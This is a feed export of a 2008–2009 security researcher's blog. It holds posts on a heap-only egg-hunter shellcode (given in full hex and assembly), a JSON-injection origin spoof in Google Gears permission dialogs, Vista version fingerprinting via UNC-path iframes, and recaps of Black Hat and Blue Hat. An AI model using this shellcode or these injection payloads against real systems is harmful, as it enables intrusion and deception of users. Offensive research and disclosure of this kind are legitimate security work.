tag:blogger.com,1999:blog-187379932009-07-13T08:43:53.086-05:00Farfromr00tinRobhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.comBlogger27125tag:blogger.com,1999:blog-18737993.post-3843563840920779562009-04-14T09:18:00.003-05:002009-04-14T09:28:08.223-05:00IE 7 and 8 Intranet ZonesThis is just going to be a quick post on some research that is pretty closely related to research I've done in the past. Cesar Cerrudo of Argennis released a <a href="http://www.argeniss.com/research/HackingIntranets.pdf">paper</a> on the ramifications of the security settings for the Intranet zone in IE 7 and 8. Last year I <a href="http://r00tin.blogspot.com/2008/03/local-web-servers-are-dangerous.html">did</a> <a href="http://r00tin.blogspot.com/2008/04/more-on-local-web-servers.html">some</a> <a href="http://r00tin.blogspot.com/2008/04/utorrent-pwn3d.html">research</a> into these settings for IE 6 and 7 but didn't take it as far as Cesar has. Go take a look, interesting stuff.<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-384356384092077956?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-32495115577588240582009-03-13T17:15:00.010-05:002009-03-14T15:20:38.196-05:00Heap-only Egg HunterAs <a href="http://natemcfeters.blogspot.com/2009/03/reinventing-wheel.html">Nate said in a recent blog post</a>, it's often useful to reinvent the wheel, if only for one's own edification. Through attempting to write my own egg hunter I learned much more than I would have if I had simply plugged in skape's.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_E_3RnfZAsxE/SbMQ6tJGuTI/AAAAAAAAAUE/zH3iV3ugPZg/s1600-h/ttar_egg_03_v_launch.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 150px; height: 200px;" src="http://2.bp.blogspot.com/_E_3RnfZAsxE/SbMQ6tJGuTI/AAAAAAAAAUE/zH3iV3ugPZg/s200/ttar_egg_03_v_launch.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5310606986336188722" /></a>The exploit itself was very simple, but one of the issues we faced was reliability. The payload was being truncated when it was moved to the stack so we only had approximately 200 bytes to work with. However, the full payload was located in several different heaps throughout memory so this was a classic case for an egg hunter.<br /><br />My idea was to write shellcode that would search only the heap for the full payload based on a lookout value which could also double as a sled. As I discovered, one of the important limiting factors in writing an egg hunter is the minimum size needed for a main payload (e.g. executing a command on the operating system). It's not very useful to have an egg hunter that is, for instance, 250 bytes. Kind of defeats the purpose. Mine ended up being 102 bytes, and I cheated a bit.<br /><br />It does search the system heaps, but it also searches a bit more. Abstractly, here's how my egg hunter works:<br /><ul><li><s>Get address of TEB</s></li><li>Get address of PEB from TEB + 0x30</li><li>Get address of list of process heaps from PEB + 0x90</li><li>Get address of first heap</li><li>Add 0x100000 to heap address and push onto stack</li><li>Check if memory being pointed to is greater than heap base + 0x100000</li><ul><li>If yes, start searching the next heap in the list</li></ul><li>Check if memory being pointed to is accessible</li><li>Compare 4 bytes to lookout value</li><ul><li>If equal check the next 4 bytes</li><ul><li>If equal, jump there and slide into payload</li><li>If not equal increment the address being checked</li></ul><li>If not equal increment the address being checked</li></ul></ul>The ideal way for this to have worked would have been to have it actually walk the heap lists, checking only the allocated memory segments. But, as mentioned above, there were size constraints.<br /><br />By the way, I used <a href="http://www.hick.org/~mmiller/shellcode/win32/egghunt_syscall.c">skape's code for checking memory to see if it's accessible</a> in my egg hunter. Worked beautifully.<br /><br /><u>In hex bytes</u>:<br />$hunter =<br />"\xeb\x03".<br />"\x59".<br />"\xeb\x05".<br />"\xe8\xf8\xff\xff\xff".<br />"\x83\xc1\x0f".<br />#"\xb8\x41\x41\x41\x18".<br />"\xb8\x41\x41\x41\x30".<br />"\xc1\xe8\x18".<br />"\x89\x01".<br />"\x64\xa1\x41\x41\x41\x41".<br />#"\x8b\x40\x30".<br />#"\xb3\x90".<br />#"\x02\xc3".<br />"\x04\x90".<br />"\x8b\x38".<br />"\x33\xc9".<br />"\xb5\x10".<br />"\xc1\xe1\x08".<br />"\xb7\x03".<br />"\xb3\xe8".<br />"\xeb\x03".<br />"\x83\xc7\x04".<br />"\x8b\x37".<br />"\x03\xce".<br />"\x51".<br />"\xeb\x02".<br />"\x03\xf3".<br />"\x3b\x34\x24".<br />"\x7f\xef".<br />"\x8b\xd6".<br />"\x6a\x02".<br />"\x58".<br />"\xcd\x2e".<br />"\x3c\x05".<br />"\x74\xee".<br />"\x81\x3e\x42\x4a\x42\x4a".<br />"\x75\xe6".<br />"\x83\xfd\x01".<br />"\x75\x02".<br />"\xff\xe6".<br />"\x83\xc6\x04".<br />"\x33\xed".<br />"\x45".<br />"\xeb\xde";<br /><br /><u>In assembly</u>:<br />jmp short 0x03<br />pop ecx<br />jmp short 0x05<br />call 0xf8<br />add ecx,0x0f<br />mov eax,0x30414141<br />shr eax,18<br />mov dword ptr[ecx],eax<br />mov eax,dword ptr fs[0x41414141]<br />add al,0x90<br />mov edi,dword ptr[eax]<br />xor ecx,ecx<br />mov ch,0x10<br />shl ecx,0x08<br />mov bh,0x03<br />mov bl,0xe8<br />jmp short 0x03<br />add edi,0x04<br />mov esi,dword ptr[edi]<br />add ecx,esi<br />push ecx<br />jmp short 0x02<br />add esi,ebx<br />cmp esi,dword ptr[esp]<br />jg short 0xef<br />mov edx,esi<br />push 0x02<br />pop eax<br />int 0x2e<br />cmp al,0x05<br />je short 0xee<br />cmp dword ptr[esi],0x4a424a42<br />jnz short 0xe6<br />cmp ebp,0x01<br />jnz short 0x02<br />jmp esi<br />add esi,0x04<br />xor ebp,ebp<br />inc ebp<br />jmp short 0xde<br /><br />I'm sure this could probably be optimized and/or made to work more efficiently, but I am no assembly programmer.<br /><br /><b><u>edit:</u></b> Another bit of code for my egg hunter that I got from elsewhere are the first 4 instructions. I took them from the <a href="http://metasploit.com:55555/PAYLOADS">Metasploit payloads</a>. They are used to get the address where the<br /><br />add ecx,0x0f<br /><br />instruction resides on the stack as a reference point. The Metasploit payloads use these instructions to begin the process of decoding an encoded payload. A few instructions later I use my reference point to modify the<br /><br />mov eax,dword ptr fs[0x41414141]<br /><br />instruction in memory. I needed to do this in order to have the correct hex opcodes in memory to assemble into the following instruction:<br /><br />mov eax,dword ptr fs[0x18]<br /><br />That instruction assembles as \x64\xa1\x18\x00\x00\x00 which is obviously no good in a payload brought into the program as a string. The purpose of that instruction is to get the address of the TEB and put it into eax, which I then use an offset of to get the address of the PEB.<br /><br /><b><u>edit 2:</u></b> I've modified the shellcode and assembly to reflect a change suggested by Jordan in the comments below and another small change I noticed would decrease the size of the shellcode. It's now < 100 bytes (97 bytes).<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-3249511557758824058?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com9tag:blogger.com,1999:blog-18737993.post-62555266721255035532009-02-23T14:47:00.006-06:002009-02-23T15:08:20.243-06:00Amaya 11 Stack Overflow ExploitsI've been doing a <i>lot</i> of learning in the past few months. I felt pretty comfortable with my skills attacking web apps, but I was severely lacking in memory corruption issues. I knew the basics, but was absolutely lost when it came to dealing with memory protections. So I decided to start from the beginning with stack overflows and /GS. I worked my way up from Windows XP SP0 through SP3 and eventually Vista SP1, through /GS, SafeSEH, DEP and ASLR. I am very happy with the results. Unfortunately, free time is at a premium these days and I don't have enough of it to describe my exploits as I should. So if there are any questions, ask.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_E_3RnfZAsxE/SaMO4LUBzsI/AAAAAAAAATQ/ewS-PLSpgzc/s1600-h/amaya_logo_65x50.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 65px; height: 50px;" src="http://3.bp.blogspot.com/_E_3RnfZAsxE/SaMO4LUBzsI/AAAAAAAAATQ/ewS-PLSpgzc/s200/amaya_logo_65x50.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5306101144244833986" /></a><br />I wrote a couple exploits for an <a href="http://www.milw0rm.com/exploits/7467">Amaya 11 bdo tag stack overflow PoC</a>. <a href="http://www.w3.org/Amaya/">Amaya</a> is a web editor/browser that was written by W3C. Doesn't seem to have much of a following, but never the less, it was an interesting exploit to write. When the payload reaches the stack, where it overflows the saved ebp, return address and SEH, no part of it can be outside of the ASCII range (0x01 - 0x7f). This made it somewhat challenging to a neophyte like myself. My exploits, which can be seen <a href="http://www.milw0rm.com/exploits/7988">here</a> and <a href="http://www.milw0rm.com/exploits/7989">here</a>, were written with that consideration in mind. One of them is a universal exploit for all service packs of XP and the other is an exploit for Windows Vista SP1. Haven't had a chance to test it on SP0 and probably won't.<br /><br />I hope to write a more detailed explanation of these exploits in the future, but realistically, it may not happen.<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-6255526672125503553?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-33607604124798057972009-01-03T21:10:00.001-06:002009-01-03T21:10:51.134-06:00Back In The Saddle AgainIt's been a while since I've posted to this blog. I haven't disappeared, I have just been taking a break from doing research since Black Hat Vegas. I'm currently involved in a couple small projects, one of which could turn out to be pretty cool. I'll make sure to post any developments.<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-3360760412479805797?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-10031931880827899622008-08-10T12:08:00.005-05:002008-08-10T12:27:41.759-05:00Black Hat Vegas 2008 RecapFirst of all, I want to say thank you to all the people who came out and supported <a href="http://natemcfeters.blogspot.com">Nate</a>, <a href="http://heasman.blogspot.com">John</a> and I for our talk.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_E_3RnfZAsxE/SJ8hWLMQ0ZI/AAAAAAAAANk/sZa7rlgiT30/s1600-h/BlackHat.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_E_3RnfZAsxE/SJ8hWLMQ0ZI/AAAAAAAAANk/sZa7rlgiT30/s200/BlackHat.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5232937956872868242" /></a><br />We had a great turnout despite the fact that we were talking in the same time slot as such notable speakers (Dowd, Sotirov, Rutkowska, MSRC, Grossman). The audience was great (including the huge EY contingent that showed up) and we got some wonderful feedback after. We also did a podcast with <a href="http://securosis.com/2008/08/07/black-hat-the-risks-of-trusting-content/">Rich Mogull of Securosis</a> right after the talk which you can find <a href="http://netsecpodcast.com/?p=69">here</a>.<br /><br />On top of all this, Nate, <a href="http://xs-sniper.com/blog">Billy Rios</a> and I won the <a href="http://pwnie-awards.org/2008/">Pwnie Award</a> for <a href="http://pwnie-awards.org/2008/awards.html#bestclientbug">Best Client Side Attack</a> (which should have gone to Mark Dowd btw). This year's Black Hat Vegas (only my second) was a great time. I got to meet some great people and hang in some swanky places.<br /><br />Special thanks to the entire Black Hat crew for having us come out and give our talk.<br /><br />Now it's time to get back to the research ;)<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-1003193188082789962?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-48516376442362108282008-07-21T09:45:00.006-05:002008-07-21T10:05:53.410-05:00Pwnie NominationI just learned that <a href="http://natemcfeters.blogspot.com">Nate McFeters</a>, <a href="http://xs-sniper.org/blog">Billy Rios</a> and I have been nominated for pwnies for the best client-side attack.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_E_3RnfZAsxE/SIShkCtkRGI/AAAAAAAAANc/XBa08jEVhLU/s1600-h/pwnie.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_E_3RnfZAsxE/SIShkCtkRGI/AAAAAAAAANc/XBa08jEVhLU/s200/pwnie.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5225479108231971938" /></a><br />It's a huge honor to even be nominated but most of the credit should go to Nate and Billy. They were really the driving force behind the discovery of these issues, I just wrote an exploit to steal people's pics. Even though our research has taken a different direction (except for <a href="http://xs-sniper.com/blog/2008/07/21/a-look-at-mfsa-2008-35/">Billy's recent 0wning of Firefox</a>) I think protocol handlers are still quite viable for exploitation.<br /><br />Anyway, I haven't been doing much in the way of research lately but I'm beginning to feel the itch again. There's still so much pwnage to be had out there and I'd like to get a piece of the action.<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-4851637644236210828?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-730870954809039162008-06-25T21:54:00.005-05:002008-06-25T22:10:57.908-05:00Cross Environment Hopping<a href="http://blog.watchfire.com/wfblog/2008/06/cross-environ-1.html">This is a subject that's near and dear to my heart</a>.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_E_3RnfZAsxE/SGMGgjdmxuI/AAAAAAAAAM8/MrfKkkfOiOI/s1600-h/dell_fire_2.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_E_3RnfZAsxE/SGMGgjdmxuI/AAAAAAAAAM8/MrfKkkfOiOI/s200/dell_fire_2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5216019949770163938" /></a><br />Very good post detailing the dangers of what's been dubbed "Cross Environment Hopping" along with some thought provoking commentary. I <a href="http://r00tin.blogspot.com/2008/04/utorrent-pwn3d.html">love</a> <a href="http://r00tin.blogspot.com/2008/04/eclipse-local-web-server-exploitation.html">me</a> <a href="http://r00tin.blogspot.com/2008/04/azureus-web-ui-xss.html">some</a> locally running web servers/applications. Gets me all excited just thinking about it! Great research guys.<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-73087095480903916?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-22688804201046421362008-06-03T09:50:00.006-05:002008-06-03T12:01:31.963-05:00Google Gears Origin SpoofingThe time has come to explain my Google Gears exploit. They've begun to update this issue automatically.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_E_3RnfZAsxE/SEVVharrpYI/AAAAAAAAALY/cXlV2JBE8fw/s1600-h/Google.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_E_3RnfZAsxE/SEVVharrpYI/AAAAAAAAALY/cXlV2JBE8fw/s200/Google.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5207662576710428034" /></a><br />The issue comes about in the way the parameters from the <a href="http://code.google.com/apis/gears/upcoming/api_factory.html">getPermission function in the Factory class</a> are handled. It seems that the parameters provided to Gears through this function (customName, customImage and customMessage) are passed to the Javascript object which then passes them to a modal dialog box that pops up asking the user if they are sure they would like to let Gears be used from that page.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_E_3RnfZAsxE/SEV436rrpeI/AAAAAAAAAMQ/6pkeWDbIDi8/s1600-h/orig_1_blacked.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_E_3RnfZAsxE/SEV436rrpeI/AAAAAAAAAMQ/6pkeWDbIDi8/s200/orig_1_blacked.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5207701446164456930" /></a><br />I discovered that the parameters are passed from the Javascript object (both from the IE gears.dll and the Firefox XUL object) using JSON objects. I happened to stumble upon this issue by encoding a back-slash in unicode. The unicode was interpreted by Gears and inserted the backslash next to the double-quote in the JSON object:<br /><br />{<br />&nbsp;&nbsp;"customIcon" : "http://1.2.3.4/gears/gears_sm_1.png",<br />&nbsp;&nbsp;"customMessage" : "Trusted Google Code Gears Application for Pwning U",<br />&nbsp;&nbsp;"customName" : "Google Code<font color="red"><b>\</b></font>",<br />&nbsp;&nbsp;"origin" : "http://1.2.3.4",<br />}<br /><br />As you might imagine, this totally screwed the parsing algorithm in the modal dialog box code and an unhandled exception occured which clued me in to the depth of the problem. I was then able to inject my own code into the JSON object to insert my own origin:<br /><br />{<br />&nbsp;&nbsp;"customIcon" : "http://1.2.3.4/gears/gears_sm_1.png",<br />&nbsp;&nbsp;"customMessage" : "Trusted Google Code Gears Application for Pwning U",<br />&nbsp;&nbsp;"customName" : "Google Code<font color="red"><b>","orgin":"http://code.google.com"}</b></font>",<br />&nbsp;&nbsp;"origin" : "http://1.2.3.4",<br />}<br /><br />And these were the resulting dialog boxes that popped up, in both IE and Firefox.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_E_3RnfZAsxE/SEVcd6rrpcI/AAAAAAAAAMA/VqIc68z1j0s/s1600-h/obfuscation_2.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_E_3RnfZAsxE/SEVcd6rrpcI/AAAAAAAAAMA/VqIc68z1j0s/s200/obfuscation_2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5207670213162280386" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_E_3RnfZAsxE/SEVckarrpdI/AAAAAAAAAMI/y-2VGIkm7rA/s1600-h/obfuscation_1.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_E_3RnfZAsxE/SEVckarrpdI/AAAAAAAAAMI/y-2VGIkm7rA/s200/obfuscation_1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5207670324831430098" /></a><br />The really interesting thing is, the way the JSON parsing algorithm was set up, it only cared if the JSON string is valid up to the '}' character so anything after that was not even checked. <br /><br />This issue allowed me, as an attacker, to make a user believe the code on my page is actually a code.google.com Gears app (or from any other domain for that matter).<br /><br />This just begs the question; how can a user make an informed decision on what to trust if it's possible to make them believe it came from a trusted location?<br /><br />Anwwer: they can't.<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-2268880420104642136?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com2tag:blogger.com,1999:blog-18737993.post-15891547986130168592008-05-22T10:16:00.006-05:002008-05-22T10:54:27.158-05:00Miscellaneous Security MusingsThere's not going to be anything too technical or groundbreaking in this post. I'm waiting on a flaw to get fixed by Google right now so I figured I'd post this in the interim.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_E_3RnfZAsxE/SDWOw8eEpvI/AAAAAAAAALI/Ed_h5n9Rpc4/s1600-h/6a00d83451d87169e200e54f6d2f0b8834-800wi.gif"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_E_3RnfZAsxE/SDWOw8eEpvI/AAAAAAAAALI/Ed_h5n9Rpc4/s200/6a00d83451d87169e200e54f6d2f0b8834-800wi.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5203221916013602546" /></a><br />I've been in the security industry for all of 11 months now and I believe I have a fair amount of knowledge (at least in the web app security arena). As I learned more I began to realize that security is almost cyclical in nature. When defenders (i.e. software companies, network admins) concentrate on one area, attackers will move to another area. After several iterations of switching focus to a different area, the originally vulnerable area will lose focus entirely. Attackers will switch back after finding some new class of vulnerability and the cycle will go on. <br /><br />This whole train of thought was brought about by a couple things. I've been fortunate enough to be included in research that some really smart people are doing and this theme has popped up recently. Unfortunately I really can't talk about this ongoing research (espeicially since none of it is mine anyway).<br /><br />But also, something a colleague of mine said the other day reinfoced this. After I discovered that you can put a UNC notation address into an iframe source, he had the idea of forcing the user's Windows computer to connect to a computer of the attacker's choice (think passing the hash). He then turned to me and said "what was old is new again".<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_E_3RnfZAsxE/SDWU28eEpwI/AAAAAAAAALQ/OHUQoy04UVk/s1600-h/recycle.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_E_3RnfZAsxE/SDWU28eEpwI/AAAAAAAAALQ/OHUQoy04UVk/s200/recycle.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5203228616162584322" /></a><br />I'm not sure where I'm going with this, but it seems to me, this is how it works. Some area of security loses focus, people get sloppy, next thing you know we're seeing vulnerabilities again.<br /><br />How do you combat this? It's human nature to get complacent. Maybe after a few more years of experience I'll have some creative suggestions for this problem. But for now, I'll just concentrate on the pwnage.<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-1589154798613016859?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com1tag:blogger.com,1999:blog-18737993.post-61826198492347855262008-05-12T13:01:00.008-05:002008-05-12T13:18:06.730-05:00We're In @ Black Hat VegasHoly crap! I can't believe we actually got in!<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_E_3RnfZAsxE/SCiGTkkRjMI/AAAAAAAAAK4/LrYZumBTY1s/s1600-h/BlackHat.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_E_3RnfZAsxE/SCiGTkkRjMI/AAAAAAAAAK4/LrYZumBTY1s/s200/BlackHat.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5199553440590695618" /></a><br />The first computer security conference I ever attended was Black Hat Vegas last year and now I'm going to be speaking there with <a href="http://natemcfeters.blogspot.com">Nate McFeters</a>, <a href="http://xs-sniper.com/blog">Billy Rios</a> and <a href="http://heasman.blogspot.com/">John Heasman</a>. Crazy. I've spoken now at Black Hat Japan, Federal and Europe, but Vegas is The Big Show. Thanks to everybody who voted for us.<br /><br />Our talk is entitled "The Internet Is Broken: Beyond document.cookie - Extreme Client Side Exploitation". We're going to show some pretty sick stuff there and it's going to be a two-session deal. Prepare yourself for a brain-meltingly awesome talk.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_E_3RnfZAsxE/SCiIgEkRjNI/AAAAAAAAALA/PH4VyveNDls/s1600-h/las+vegas.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_E_3RnfZAsxE/SCiIgEkRjNI/AAAAAAAAALA/PH4VyveNDls/s200/las+vegas.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5199555854362315986" /></a><br /><br />See you in Vegas!<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-6182619849234785526?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com1tag:blogger.com,1999:blog-18737993.post-27967217515119040522008-05-08T10:31:00.007-05:002008-05-08T17:01:27.173-05:00Blue Hat Day 2I think I'm sufficiently recovered to blog about day 2.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_E_3RnfZAsxE/SCMgaGZFhXI/AAAAAAAAAKo/dcjbUgEy_lE/s1600-h/seattle.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_E_3RnfZAsxE/SCMgaGZFhXI/AAAAAAAAAKo/dcjbUgEy_lE/s200/seattle.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5198034027680204146" /></a><br />I'm just kidding, it wasn't that bad, but I did drink a ton of vodka that night at the IOActive-sponsored limo races, and the Jello shots at the end didn't help at all either.<br /><br />But let's rewind a bit and reminisce about the talks. <a href="http://xs-sniper.com/blog">Billy</a> and <a href="http://www.dhanjani.com">Nitesh</a> started off the conference in style with their Bad Sushi talk. Even though I've seen this talk 3 times I still enjoy it immensely.<br /><br />Then <a href="http://kuza55.blogspot.com">kuza55 (Alex K.)</a> talked about The Browser and Other Mistakes. It's been said before by others that his grasp of web app security is amazing for his age and I agree, but he's also a pretty cool guy to hang out with as well. He had some great stuff in his talk and some of the things he mentioned gave me ideas for future research.<br /><br />Another talk I really enjoyed was Manuel Caballeros' talk about resident scripts. That talk was sick. I couldn't believe some of the stuff I was seeing. That will definitely be a focus in some of my future research into other languages.<br /><br />Also, I got to meet Peleus Uhley and Eric Lee of the Adobe product security team. We worked pretty closely with them to get <a href="http://r00tin.blogspot.com/2008/04/flash-dns-rebinding-attack-explained.html">our Flash DNS</a> <a href="http://r00tin.blogspot.com/2008/04/flash-dns-rebinding-fixed.html">Rebinding issue fixed</a>.<br /><br />When all was said and done I really had a great time there and I can't believe I was actually invited to attend. Thanks again to Katie Moussouris for inviting <a href="http://natemcfeters.blogspot.com">Nate</a> and I out to the Microsoft campus. And kudos to the MSRC for all their efforts in the security space. It really looks like things are heading in the right direction. Unfortunately that makes my job more difficult...<br /><br />I'll leave you with a picture from the inside of team Stoners/Hippies limo before our booze was stolen by certain unnamed assailants:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_E_3RnfZAsxE/SCMjwWZFhYI/AAAAAAAAAKw/mTXFwOC3Iaw/s1600-h/DSCN0656_1.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_E_3RnfZAsxE/SCMjwWZFhYI/AAAAAAAAAKw/mTXFwOC3Iaw/s200/DSCN0656_1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5198037708467176834" /></a><br />By the way, Nate has <a href="http://blogs.zdnet.com/security/?p=1078">a pretty good writeup about Blue Hat</a> over on the ZDNet Zero Day blog. Check it out.<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-2796721751511904052?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-12140857558909415562008-05-05T10:16:00.011-05:002008-05-05T12:57:18.223-05:00Vista OS Version TrickI found out about this nifty little trick while messing around with UNC notation in the browser. For those wondering, I'll blog about the second day of Blue Hat some other time. Still mentally recovering from the limo races ;)<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_E_3RnfZAsxE/SB8lRFItllI/AAAAAAAAAKQ/Lb6Re4A9XYM/s1600-h/windows_vista_092507.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_E_3RnfZAsxE/SB8lRFItllI/AAAAAAAAAKQ/Lb6Re4A9XYM/s200/windows_vista_092507.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5196913470375564882" /></a><br />So, to start this out, I discovered something interesting about UNC notation. You can specify a port number. For example, if I did this in the browser:<br /><br /><div style="background-color:#dddddd">\\1.2.3.4:80</div><br />It will actually try to connect to port 80, but it does some strange stuff when it tries that. Since Vista doesn't know exactly WHAT service is running on port 80 it will send a couple interesting requests to it. First it sends an OPTIONS HTTP request to that port. Then if it gets an intelligible response it will send some PROPFIND requests. Weird. Here are a couple examples of what it looks like from my Apache server logs:<br /><br /><div style="background-color:#dddddd">8.7.6.5 - - [30/Apr/2008:16:35:23 -0500] "OPTIONS / HTTP/1.1" 200 - "-" "Microsoft-WebDAV-MiniRedir/6.0.6000"</div><br /><div style="background-color:#dddddd">5.4.3.2 - - [29/Apr/2008:16:21:38 -0500] "PROPFIND / HTTP/1.0" 200 - "-" "Microsoft-WebDAV-MiniRedir/6.0.6001"</div><br />And here is an actual HTTP request:<br /><br /><div style="background-color:#dddddd">PROPFIND / HTTP/1.1<br />Content-Length: 0<br />Depth: 0<br />translate: f<br />User-Agent: Microsoft-WebDAV-MiniRedir/6.0.6000<br />Host: 1.2.3.4<br />Proxy-Connection: Keep-Alive<br /></div><br />The thing we want to focus on here is the User-Agent header. It invariably says "Microsoft-WebDAV-MiniRedir/" but the version number included after the slash differs depending on what version of Vista the user is running.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_E_3RnfZAsxE/SB8prFItlmI/AAAAAAAAAKY/102xhhJeMbM/s1600-h/ver.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_E_3RnfZAsxE/SB8prFItlmI/AAAAAAAAAKY/102xhhJeMbM/s200/ver.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5196918315098674786" /></a><br />Version 6.0.6000 is Vista Ultimate with no service pack and 6.0.6001 is Vista Ultimate with SP1 installed. I haven't had a chance to test other versions. So if we have a page like this:<br /><br /><div style="background-color:#dddddd">&lt;html&gt;<br />&lt;script&gt;<br />function f() {<br /> document.getElementById("shady").innerHTML = "&lt;iframe name='s' id='s' src='\\\\1.2.3.4:80' width='40%' height='300'&gt;";<br />}<br />setTimeout('f()', 500);<br />&lt;/script&gt;<br 